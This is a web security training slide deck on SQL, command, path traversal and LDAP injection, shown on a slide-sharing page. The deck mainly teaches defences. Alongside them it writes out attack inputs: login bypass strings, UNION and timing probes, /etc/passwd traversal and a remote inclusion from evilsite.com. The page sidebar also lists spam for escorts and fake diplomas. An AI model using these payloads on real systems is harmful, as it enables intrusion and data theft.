Edgescan vulnerability stats report 2020Eoin Keary
 
edgescan vulnerability stats report (2018)
 edgescan vulnerability stats report (2018)  edgescan vulnerability stats report (2018)
edgescan vulnerability stats report (2018) Eoin Keary
 
edgescan vulnerability stats report (2019)
edgescan vulnerability stats report (2019) edgescan vulnerability stats report (2019)
edgescan vulnerability stats report (2019) Eoin Keary
 
Full stack vulnerability management at scale
Full stack vulnerability management at scaleFull stack vulnerability management at scale
Full stack vulnerability management at scaleEoin Keary
 
Vulnerability Intelligence - Standing Still in a world full of change
Vulnerability Intelligence - Standing Still in a world full of changeVulnerability Intelligence - Standing Still in a world full of change
Vulnerability Intelligence - Standing Still in a world full of changeEoin Keary
 
Edgescan vulnerability stats report 2019 - h-isac-2-2-2019
Edgescan   vulnerability stats report 2019 - h-isac-2-2-2019Edgescan   vulnerability stats report 2019 - h-isac-2-2-2019
Edgescan vulnerability stats report 2019 - h-isac-2-2-2019Eoin Keary
 
Hide and seek - Attack Surface Management and continuous assessment.
Hide and seek - Attack Surface Management and continuous assessment.Hide and seek - Attack Surface Management and continuous assessment.
Hide and seek - Attack Surface Management and continuous assessment.Eoin Keary
 
Online Gaming Cyber security and Threat Model
Online Gaming Cyber security and Threat ModelOnline Gaming Cyber security and Threat Model
Online Gaming Cyber security and Threat ModelEoin Keary
 
Keeping the wolf from 1000 doors.
Keeping the wolf from 1000 doors.Keeping the wolf from 1000 doors.
Keeping the wolf from 1000 doors.Eoin Keary
 
Security by the numbers
Security by the numbersSecurity by the numbers
Security by the numbersEoin Keary
 
Web security – everything we know is wrong cloud version
Web security – everything we know is wrong   cloud versionWeb security – everything we know is wrong   cloud version
Web security – everything we know is wrong cloud versionEoin Keary
 
Cybersecurity by the numbers
Cybersecurity by the numbersCybersecurity by the numbers
Cybersecurity by the numbersEoin Keary
 
Ebu class edgescan-2017
Ebu class edgescan-2017Ebu class edgescan-2017
Ebu class edgescan-2017Eoin Keary
 
Vulnerability management and threat detection by the numbers
Vulnerability management and threat detection by the numbersVulnerability management and threat detection by the numbers
Vulnerability management and threat detection by the numbersEoin Keary
 

Mehr von Eoin Keary (20)

IISF-March2023.pptx
IISF-March2023.pptxIISF-March2023.pptx
IISF-March2023.pptx
 
Validation of vulnerabilities.pdf
Validation of vulnerabilities.pdfValidation of vulnerabilities.pdf
Validation of vulnerabilities.pdf
 
Does a Hybrid model for vulnerability Management Make Sense.pdf
Does a Hybrid model for vulnerability Management Make Sense.pdfDoes a Hybrid model for vulnerability Management Make Sense.pdf
Does a Hybrid model for vulnerability Management Make Sense.pdf
 
Edgescan 2022 Vulnerability Statistics Report
Edgescan 2022 Vulnerability Statistics ReportEdgescan 2022 Vulnerability Statistics Report
Edgescan 2022 Vulnerability Statistics Report
 
Edgescan 2021 Vulnerability Stats Report
Edgescan 2021 Vulnerability Stats ReportEdgescan 2021 Vulnerability Stats Report
Edgescan 2021 Vulnerability Stats Report
 
One login enemy at the gates
One login enemy at the gatesOne login enemy at the gates
One login enemy at the gates
 
Edgescan vulnerability stats report 2020
Edgescan vulnerability stats report 2020Edgescan vulnerability stats report 2020
Edgescan vulnerability stats report 2020
 
edgescan vulnerability stats report (2018)
 edgescan vulnerability stats report (2018)  edgescan vulnerability stats report (2018)
edgescan vulnerability stats report (2018)
 
edgescan vulnerability stats report (2019)
edgescan vulnerability stats report (2019) edgescan vulnerability stats report (2019)
edgescan vulnerability stats report (2019)
 
Full stack vulnerability management at scale
Full stack vulnerability management at scaleFull stack vulnerability management at scale
Full stack vulnerability management at scale
 
Vulnerability Intelligence - Standing Still in a world full of change
Vulnerability Intelligence - Standing Still in a world full of changeVulnerability Intelligence - Standing Still in a world full of change
Vulnerability Intelligence - Standing Still in a world full of change
 
Edgescan vulnerability stats report 2019 - h-isac-2-2-2019
Edgescan   vulnerability stats report 2019 - h-isac-2-2-2019Edgescan   vulnerability stats report 2019 - h-isac-2-2-2019
Edgescan vulnerability stats report 2019 - h-isac-2-2-2019
 
Hide and seek - Attack Surface Management and continuous assessment.
Hide and seek - Attack Surface Management and continuous assessment.Hide and seek - Attack Surface Management and continuous assessment.
Hide and seek - Attack Surface Management and continuous assessment.
 
Online Gaming Cyber security and Threat Model
Online Gaming Cyber security and Threat ModelOnline Gaming Cyber security and Threat Model
Online Gaming Cyber security and Threat Model
 
Keeping the wolf from 1000 doors.
Keeping the wolf from 1000 doors.Keeping the wolf from 1000 doors.
Keeping the wolf from 1000 doors.
 
Security by the numbers
Security by the numbersSecurity by the numbers
Security by the numbers
 
Web security – everything we know is wrong cloud version
Web security – everything we know is wrong   cloud versionWeb security – everything we know is wrong   cloud version
Web security – everything we know is wrong cloud version
 
Cybersecurity by the numbers
Cybersecurity by the numbersCybersecurity by the numbers
Cybersecurity by the numbers
 
Ebu class edgescan-2017
Ebu class edgescan-2017Ebu class edgescan-2017
Ebu class edgescan-2017
 
Vulnerability management and threat detection by the numbers
Vulnerability management and threat detection by the numbersVulnerability management and threat detection by the numbers
Vulnerability management and threat detection by the numbers
 

Kürzlich hochgeladen

Film cover research (1).pptxsdasdasdasdasdasa
Film cover research (1).pptxsdasdasdasdasdasaFilm cover research (1).pptxsdasdasdasdasdasa
Film cover research (1).pptxsdasdasdasdasdasa494f574xmv
 
Internet of Things Presentation (IoT).pptx
Internet of Things Presentation (IoT).pptxInternet of Things Presentation (IoT).pptx
Internet of Things Presentation (IoT).pptxErYashwantJagtap
 
『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书
『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书
『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书rnrncn29
 
PHP-based rendering of TYPO3 Documentation
PHP-based rendering of TYPO3 DocumentationPHP-based rendering of TYPO3 Documentation
PHP-based rendering of TYPO3 DocumentationLinaWolf1
 
『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书
『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书
『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书rnrncn29
 
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作ys8omjxb
 
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170Sonam Pathan
 
Q4-1-Illustrating-Hypothesis-Testing.pptx
Q4-1-Illustrating-Hypothesis-Testing.pptxQ4-1-Illustrating-Hypothesis-Testing.pptx
Q4-1-Illustrating-Hypothesis-Testing.pptxeditsforyah
 
Contact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New DelhiContact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New Delhimiss dipika
 
Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Paul Calvano
 
Top 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptxTop 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptxDyna Gilbert
 
Unidad 4 – Redes de ordenadores (en inglés).pptx
Unidad 4 – Redes de ordenadores (en inglés).pptxUnidad 4 – Redes de ordenadores (en inglés).pptx
Unidad 4 – Redes de ordenadores (en inglés).pptxmibuzondetrabajo
 
NSX-T and Service Interfaces presentation
NSX-T and Service Interfaces presentationNSX-T and Service Interfaces presentation
NSX-T and Service Interfaces presentationMarko4394
 
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书zdzoqco
 
SCM Symposium PPT Format Customer loyalty is predi
SCM Symposium PPT Format Customer loyalty is prediSCM Symposium PPT Format Customer loyalty is predi
SCM Symposium PPT Format Customer loyalty is predieusebiomeyer
 
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一z xss
 

Kürzlich hochgeladen (17)

Film cover research (1).pptxsdasdasdasdasdasa
Film cover research (1).pptxsdasdasdasdasdasaFilm cover research (1).pptxsdasdasdasdasdasa
Film cover research (1).pptxsdasdasdasdasdasa
 
Internet of Things Presentation (IoT).pptx
Internet of Things Presentation (IoT).pptxInternet of Things Presentation (IoT).pptx
Internet of Things Presentation (IoT).pptx
 
『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书
『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书
『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书
 
PHP-based rendering of TYPO3 Documentation
PHP-based rendering of TYPO3 DocumentationPHP-based rendering of TYPO3 Documentation
PHP-based rendering of TYPO3 Documentation
 
『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书
『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书
『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书
 
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
 
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
 
Q4-1-Illustrating-Hypothesis-Testing.pptx
Q4-1-Illustrating-Hypothesis-Testing.pptxQ4-1-Illustrating-Hypothesis-Testing.pptx
Q4-1-Illustrating-Hypothesis-Testing.pptx
 
Contact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New DelhiContact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New Delhi
 
Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24
 
Top 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptxTop 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptx
 
Unidad 4 – Redes de ordenadores (en inglés).pptx
Unidad 4 – Redes de ordenadores (en inglés).pptxUnidad 4 – Redes de ordenadores (en inglés).pptx
Unidad 4 – Redes de ordenadores (en inglés).pptx
 
Hot Sexy call girls in Rk Puram 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in  Rk Puram 🔝 9953056974 🔝 Delhi escort ServiceHot Sexy call girls in  Rk Puram 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in Rk Puram 🔝 9953056974 🔝 Delhi escort Service
 
NSX-T and Service Interfaces presentation
NSX-T and Service Interfaces presentationNSX-T and Service Interfaces presentation
NSX-T and Service Interfaces presentation
 
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
 
SCM Symposium PPT Format Customer loyalty is predi
SCM Symposium PPT Format Customer loyalty is prediSCM Symposium PPT Format Customer loyalty is predi
SCM Symposium PPT Format Customer loyalty is predi
 
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
 

03. sql and other injection module v17

  • 1. SQL Injection Eoin Keary CTO BCC Risk Advisory www.bccriskadvisory.com www.edgescan.com
  • 2. Where are we going? Injection SQL Injection Attack Types Parameterized Queries Database configuration security Command Injection LDAP Injection
  • 3. SQL Injection Lack of query parameterization can be exploited and used to execute arbitrary queries against back-end databases New malicious commands are added to application, hence the term “injection” Occurs when malicious untrusted input is used within SQL queries being executed against back-end application databases Injected SQL queries will run under the context of the application account, allowing read and/or write access to application data and even schema!
  • 4. SQL Injection Attack Types Data Retrieval Allow an attacker to extract data from the database. Exploits can include modifying the record selection criteria of the SQL query or appending a user-specified query using the SQL UNION directive. This type of exploit can also be used to bypass poorly designed login mechanisms Data Modification Allow attacker to write to database tables. Can be used to modify or add records to the database. (NOTE: Very dangerous and could result in data corruption!) – DML Database- Specific Exploits Involve exploiting database-specific functionality. Can potentially be used to execute arbitrary commands on the database server operating system. (Command Injection)
  • 5. SQL Error Messages Where to find error messages? To see raw error messages you must uncheck Internet Explorer’s default setting (Tools  Internet Options Advanced): Show friendly HTTP error messages
  • 6. Anatomy of SQL Injection Attack sql = “SELECT * FROM user_table WHERE username = ‘” & Request(“username”) & “’ AND password = ‘” & Request (“password”) & ”’” What the developer intended: username = chip password = P@ssw0rd1 SQL Query: SELECT * FROM user_table WHERE username = ‘chip’ AND password = ‘P@ssw0rd1’
  • 7. Anatomy of SQL Injection Attack sql = “SELECT * FROM user_table WHERE username = ‘” & Request(“username”) & “’ AND password = ‘” & Request(“password”) & “’” (This is DYNAMIC sql –Bad) What the developer did not intend is parameter values like: username = john password = blah’ or ‘1’=‘1 SQL Query: SELECT * FROM user_table WHERE username = ‘john’ AND password = ‘blah’ or ‘1’=‘1’ Since 1=1 is true and the AND is executed before the OR, all rows in the users table are returned!
  • 8. SQL Injection without a Single Quote (‘) Attacks can occur even when variables are not encapsulated within single quotes sql = "SELECT * from users where custnum=" + request.getParameter("AccountNum"); What happens if AccountNum is 1=1 or <boolean True> above? Called "Numeric SQL Injection"
  • 9. String Building to Call Stored Procedures  String building can be done when calling stored procedures as well sql = "GetCustInfo @LastName=" + request.getParameter("LastName");  Stored Procedure Code CREATE PROCEDURE GetCustInfo (@LastName VARCHAR(100)) AS exec(‘SELECT * FROM CUSTOMER WHERE LNAME=‘’’ + @LastName + ‘’’’) GO (Wrapped Dynamic SQL)  What’s the issue here…………  If blah’ OR ‘1’=‘1 is passed in as the LastName value, the entire table will be returned  Remember Stored procedures need to be implemented safely. 'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation.
  • 10. Identifying SQL Injection Points Insert a single apostrophe into application inputs to invoke a database syntax error If a single apostrophe causes a generic error to be returned, SQL injection may still be possible. Modify the string to eliminate the syntax error to validate that a database error is occurring  blah’--  blah’ OR ‘1’=‘1  blah’ OR ‘1’=‘2  Blah’%20’OR%20’1’=‘1  Blah’ OR 11;# Trace all application input through the code to see which inputs are ultimately used in database calls Identify database calls using SQL string building to check for proper input validation
  • 11. Code Review: Source and Sink public void bad(HttpServletRequest request, HttpServletResponse response) throws Throwable { String data; Logger log_bad = Logger.getLogger("local-logger"); /* read parameter from request */ data = request.getParameter("name"); Logger log2 = Logger.getLogger("local-logger"); Connection conn_tmp2 = null; Statement sqlstatement = null; ResultSet sqlrs = null; try { conn_tmp2 = IO.getDBConnection(); sqlstatement = conn_tmp2.createStatement(); /* take user input and place into dynamic sql query */ sqlrs = sqlstatement.executeQuery("select * from users where name='"+data+"'"); IO.writeString(sqlrs.toString()); } catch(SQLException se) { Exploit is executed (Sink) Input from request (Source)
  • 12. Code Review: Find the Vulns! public void doGet(HttpServletRequest req, HttpServletResponse res) { String name = req.getParameter("username"); String pwd = req.getParameter("password"); int id = validateUser(name, pwd); String retstr = "User : " + name + " has ID: " + id; res.getOutputStream().write(retstr.getBytes()); } private int validateUser(String user, String pwd) throws Exception { Statement stmt = myConnection.createStatement(); ResultSet rs; rs = stmt.executeQuery("select id from users where user='" + user + "' and key='" + pwd + "'"); return rs.next() ? rs.getInt(1) : -1; }
  • 13. Advanced SQLi : Blind http://joke.com/post.php?id=1 Select stuff from <table> where id=1;  Return HTTP 200 http://joke.com/post.php?id=1 and 1=2 Select stuff from <table> where id=1 and 1=2;  Return HTTP 500 ? / return nothing http://joke.com/post.php?id=1 and 1=1 Select stuff from <table> where id=1 and 1=1;  Return HTTP 200 (valid syntax) String breaking: http://joke.com/post.php?id=1 and 'eoin'='eoi'+'n'
  • 14. Advanced SQLi : Timing Attacks Timing Attacks: Discover database schema details without explicit ODBC/JDBC errors. SQL Server: waitfor delay http://www.joke.com/vulnerable.php?id=1' waitfor delay '00:00:10'— http://www.joke.com/vulnerable.php?id=1' IF (ASCII(lower(substring((USER),1,1)))>97) WAITFOR DELAY '00:00:10'-- (+10 seconds)
  • 15. Advanced SQLi : UNION Result set matching using union Integer Injection: http://[site.com]/page.php?id=1 UNION SELECT ALL 1— All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. http://[site.com]/page.php?id=1 UNION SELECT ALL 1,2-- All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. http://[site.com]/page.php?id=1 UNION SELECT ALL 1,2,3-- All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. http://[site.com]/page.php?id=1 UNION SELECT ALL 1,2,3,4-- NO ERROR - We now know id returns 4 columns
  • 16. Advanced SQLi : UNION http://[site.com]/page.php?id=1 UNION SELECT ALL 1,USER,3,4— Return DB USER account http://[site.com]/page.php?id=1 UNION SELECT ALL 1,name,3,4 from sysobjects where xtype=char(85)— Return Database Tables (Ascii char 85 = ‘U’; user table). http://[site.com]/page.php?id=1 UNION SELECT ALL 1,column_name,3,4 from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'-- Return Table column names
  • 17. How do we stop SQL Injection in our code?
  • 18. Defending Against SQL Injection Validation using Known Good Validation should be used for all input used in SQL queries .NET’s parameterized queries are extremely resilient to SQL injection attacks, even in the absence of input validation Similar functionality exists for Java via Prepared Statements and Callable Statements  Automatically limits scope of user input – cannot break out of variable scope (i.e. it does the escaping for you)  Performs data type checking on parameter values Every web language has an API for Parameterized Queries!
  • 19. Parameterized Queries • Parameterized Queries ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. Language Specific Recomendations Java EE – use PreparedStatement() with bind variables .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables PHP – use PDO with strongly typed parameterized queries (using bindParam()) Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)
  • 20. BOBBY TABLES IS WRONG. WHY?
  • 21. Query Parameterization (PHP PDO) $stmt = $dbh->prepare("update users set email=:new_email where id=:user_id"); $stmt->bindParam(':new_email', $email); $stmt->bindParam(':user_id', $id);
  • 22. Java Prepared Statement Dynamic SQL: (Injectable) String sqlQuery = “UPDATE EMPLOYEES SET SALARY = ‘ + request.getParameter(“newSalary”) + ‘ WHERE ID = ‘ + request.getParameter(“id”) + ‘”; PreparedStatement: (Not Injectable) String newSalary = request.getParameter(“newSalary”) ; String id = request.getParameter(“id”); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET SALARY = ? WHERE ID = ?"); pstmt.setString(1, newSalary); pstmt.setString(2, id);
  • 23. .NET Parameterized Query Dynamic SQL: ( Not so Good ) string sql = "SELECT * FROM User WHERE Name = '" + NameTextBox.Text + "' AND Password = '" + PasswordTextBox.Text + "'"; Parameterized Query: ( Nice, Nice! ) SqlConnection objConnection = new SqlConnection(_ConnectionString); objConnection.Open(); SqlCommand objCommand = new SqlCommand( "SELECT * FROM User WHERE Name = @Name AND Password = @Password", objConnection); objCommand.Parameters.Add("@Name", NameTextBox.Text); objCommand.Parameters.Add("@Password", PasswordTextBox.Text); SqlDataReader objReader = objCommand.ExecuteReader(); if (objReader.Read()) { ...
  • 24. HQL Injection Protection unsafeHQLQuery = session.createQuery("from Inventory where productID='"+userSuppliedParameter+"'"); Unsafe HQL Statement Query (Hibernate) Query safeHQLQuery = session.createQuery("from Inventory where productID=:productid"); safeHQLQuery.setParameter("productid", userSuppliedParameter); Safe version of the same query using named parameters
  • 25. SQL Injection Protection for ASP.NET and Ruby string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId"; SqlCommand command = new SqlCommand(sql); command.Parameters.Add(new SqlParameter("@CustomerId", System.Data.SqlDbType.Int)); command.Parameters["@CustomerId"].Value = 1; ASP.NET # Create Project.create!(:name => 'owasp') # Read Project.all(:conditions => "name = ?", name) Project.all(:conditions => { :name => name }) Project.where("name = :name", :name => name) # Update project.update_attributes(:name => 'owasp') # Delete Project.delete(:name => 'name') RUBY – Active Record
  • 26. Cold Fusion and Perl Parameterized Queries <cfquery name = "getFirst" dataSource = "cfsnippets"> SELECT * FROM #strDatabasePrefix#_courses WHERE intCourseID = <cfqueryparam value = #intCourseID# CFSQLType = "CF_SQL_INTEGER"> </cfquery> Cold Fusion my $sql = "INSERT INTO foo (bar, baz) VALUES ( ?, ? )"; my $sth = $dbh->prepare( $sql ); $sth->execute( $bar, $baz ); Perl - DBI
  • 27. Insecure Stored Procedure (MSSQL) create procedure getUser_USAFE @un varchar(25) as declare @sql varchar(max) set @sql = ' select lastname, passbcrypt, age from Users where username= ''' + @un + ''';' exec (@sql) Go
  • 28. Secure Stored Procedure 1 (MSSQL) create procedure getUsers_SAFE @un varchar(25) as select lastname, passbcrypt, age from Users where username = @un; Go
  • 29. Secure Stored Procedure 2 (MSSQL) declare @sql nvarchar(4000) declare @monthNo int declare @minAmount decimal set @sql = N' select SalesPerson from dbo.SalesData where mon = @monthNo and amount > @minAmount' set @monthNo = 2 set @minAmount = 100 exec sp_executesql @sql, N'@monthNo int, @minAmount decimal', @monthNo, @minAmount http://www.mssqltips.com/sqlservertip/2981/using-parameters-for-sql-server- queries-and-stored-procedures/
  • 30. Stored Procedures and SQL Injection  Allows database permissions to be restricted to only EXECUTE on stored procedures (permission inheritance)  Promotes code re-use (less error prone and easier to maintain)  They must not contain dynamic SQL  Caution: Stored Procedures themselves may be injectable! Stored procedures provide several benefits Query Parameterization Needed  When creating SQL  When calling a a Stored Procedure  When building a Stored Procedure
  • 31. Restricting Default Database Permissions Delete all default user accounts that are not used. Ensure that strong/complex passwords are assigned to known user accounts Restrict default access permissions on all objects. The application user should either be removed from default roles (i.e. public), or the underlying role permissions should be stripped Disable dangerous/unnecessary functionality within the database server (ADHOC provider access and xp_cmdshell in Microsoft SQL Server)
  • 32. Database Principle of Least PrivilegeDatabase accounts used by the application should have the minimal required privileges If there is a SQLI vuln we may be able to limit the damage that an attacker might do DB Query Method Privileges Required by App Privileges that can be revoked Stored Procedure  EXECUTE on the stored procedure  SELECT, INSERT, UPDATE, DELETE on the underlying Tables  EXECUTE on system stored procedures  SELECT on system tables and views Dynamic SQL  SELECT on the table (read-only) - OR – SELECT / UPDATE / INSERT/ DELETE on the table (read / write)  EXECUTE on system stored procedures  SELECT on system tables and views
  • 33. File and OS Command Injection
  • 34. Arbitrary File Upload Uploading malicious files to web-accessible directories can be used to compromise the underlying operating system and/or application Malicious binaries to executable web-accessible directories (ie. /cgi-bin/) Malicious scripts to web-accessible directories with script mappings (can be any or all directories) Overwriting sensitive system files (/etc/passwd, /etc/shadow) Uploading large files to the web server can be used to launch a denial-of-service attack by filling web server drives
  • 35. File Path Traversal Attacks Calling other files via input parameters can expose the web server to unauthorized file access /default.php?page=about.php OK /default.jsp?page=../../../../etc/passwd NOT OK Compound this issue with excessive app permissions: /default.jsp?page=../../../../etc/shadow OH NO!!! /default.jsp/get-file?file=/etc/passwd OH NO!!! /default.jsp/page?page=http://other-site.com.br/other- page.htm/malicius-code.php OH NO!!! http://vulnerable-page.org?viewtext=../upload.php OH NO!!!
  • 36. Injection Flaws –Example Document retrieval sDoc = Request.QueryString("Doc") if sDoc <> "" then x = inStr(1,sDoc,".") if x <> 0 then sExtension = mid(sDoc,x+1) sMimeType = getMime(sExtension) else sMimeType = "text/plain" end if set cm = session("cm") cm.returnBinaryContent application("DOCUMENTROOT") & sDoc, sMimeType Response.End end if Source Sink
  • 37. Object Lookup Maps and Access Control Pretty Name File ID Actual File Profile.jpg 1234 /user/jim/1234 Data.xls 1235 /user/jim/1235 Cats.png 1236 /user/jim/1236 MoarCats.mov 1237 /user/jim/1237
  • 38. Operating System Interaction Applications often pass parameters that are ultimately used to interface with the server file system and/or operating system If not validated properly, parameters may be manipulated to provide unauthorized read / write / execute access to server files Many applications may allow users to upload files
  • 39. Command Injection Web applications may use input parameters as arguments for OS scripts or executables Almost every application platform provides a mechanism to execute local operating system commands from application code Most operating systems support multiple commands to be executed from the same command line. Multiple commands are typically separated with the pipe “|” or ampersand “&” characters  Perl: system(), exec(), backquotes(``)  C/C++: system(), popen(), backquotes(``)  ASP: wscript.shell  Java: getRuntime.exec  MS-SQL Server: master..xp_cmdshell  PHP : include() require(), eval() ,shell_exec
  • 40. Testing for OS Interaction Parameters should be tested individually to see if file system related errors appear File not found, Cannot open file, Path not found, etc. Input parameters should be manipulated to include references to other known files and directories ../../etc/passwd ../../../winnt/win.ini ../../../winnt/system32/cmd.exe Note any parameters that appear to be referencing files or directory paths. Also note any web server file names or paths that incorporate user specified data
  • 41. Testing for OS Interaction If not, try to determine the local path to the web root directory and traverse into the directory by manipulating the file name ../../../home/apache/htdocs/test.txt ......inetpubwwwroottest.txt Try appending operating system commands to the end of application parameters. Remember to encode the “&” If the application allows file upload, try and determine where the files are sent. If sent to web accessible directories, upload malicious files and/or script and see if they can be executed
  • 42. Defenses Against OS Interaction Attacks Exact Match Validation should be used to ensure that only authorised files are requested. If this is not feasible, then Known Good Validation or Known Bad Validation should be used on parameter values and characters typically used to alter file system paths should be rejected. ( .. / %) Bounds Checking should also be performed to ensure that uploaded file sizes do not exceed reasonable limits In general, avoid using parameters to interface with the file system when at all possible Uploaded files should be placed into a directory that is not web accessible and the application should handle all file naming (regardless of what the original file name was)
  • 43. Defenses Against OS Interaction Attacks For file access using application parameters, consider using application logic to correlate parameter values to file system paths or objects if dynamic file access necessary. This can typically be done using an array or hash table Always implement conservative read, write, and execute access control lists at the OS level to restrict what files can be accessed by the application. (more on this later) If possible, verify uploaded file types by inspecting file headers. Native controls for validating file types are available in certain development platforms (.NET) Store in application constants, where possible
  • 44. PHP Command and Code Injection • Caution when using PHP functions include(), include_once(), require(), require_once() • Also be careful with shell_exec(), exec(), passthru(), system(), eval() • Example: • http://testsite.com/index.php?page=contact.php • http://testsite.com/?page=http://evilsite.com/evilcode.php • Never let untrusted input drive any of these features and functions! 44
  • 45. Dangers of PHP preg_replace • Is this dangerous? <?php $in = 'Hello is there anybody in there?'; echo preg_replace($_GET['replace'], $_GET['with'], $in); ?> • What if the user enters this? • $_GET['with'] = system('any command!') 45 4 5
  • 47. LDAP injection Lightweight Directory Access Protocol Used for accessing information directories Frequently used in web apps to help users search for specific information on the internet. Also used for authentication systems.
  • 48. LDAP Injection Technique for exploiting web apps using LDAP statements without first properly validating that data Similar techniques involved in SQL injection also apply to LDAP injection Could result in the execution of arbitrary commands such as granting permissions to unauthorized queries or content modification inside the LDAP tree Can determine how queries are structured by sending logical operators (e.g. OR, AND, |, &, %26) and seeing what errors are returned
  • 49. LDAP Injection Example The following code is responsible to catch input value and generate a LDAP query that will be used in LDAP database: <input type="text" maxlength="20" name="userName">Insert username</input> Underlying code for the LDAP query: String ldapSearchQuery = "(cn=" + $userName + ")"; System.out.println(ldapSearchQuery); Variable $username is not validated Entering “*” may return all usernames in the directory Entering “eoin) (| (password = *) )” will generate the following code and reveal eoinspassword: ( cn = eoin) ( | (password = * ) )
  • 50. Defenses Against LDAP Injection If other characters are needed, convert them to HTML substitutes (&quote, & gt) Data input validation of all client-supplied data! Outgoing data validation Access control to the data in the LDAP directory Use known good validation with a regular expression Only allow letters and numbers (or just numbers) ^[0-9a-zA-Z]*$
  • 51. OWASP Injection Resources LDAP Injection https://www.owasp.org/index.php/LDAP_injection https://www.owasp.org/index.php/Testing_for_LDAP_Injection_ (OWASP-DV-006) SQL Injection https://www.owasp.org/index.php/SQL_Injection_Prevention_ Cheat_Sheet https://www.owasp.org/index.php/Query_Parameterization?_ Cheat_Sheet Command Injection https://www.owasp.org/index.php/Command_Injection
  • 52. Summary Injection SQL Injection Attack Types Parameterized Queries Database configuration security Command Injection LDAP Injection

Hinweis der Redaktion

  1. 1
  2. ASCII 65 is A dude.
  3. ASCII 65 is A dude.
  4. ASCII 65 is A dude.
  5. Automatically Escapes – gives you a slot to put the data and it gets treated as a string literal. Does not search through the input for dangerous characters.
  6. Privileges at granular level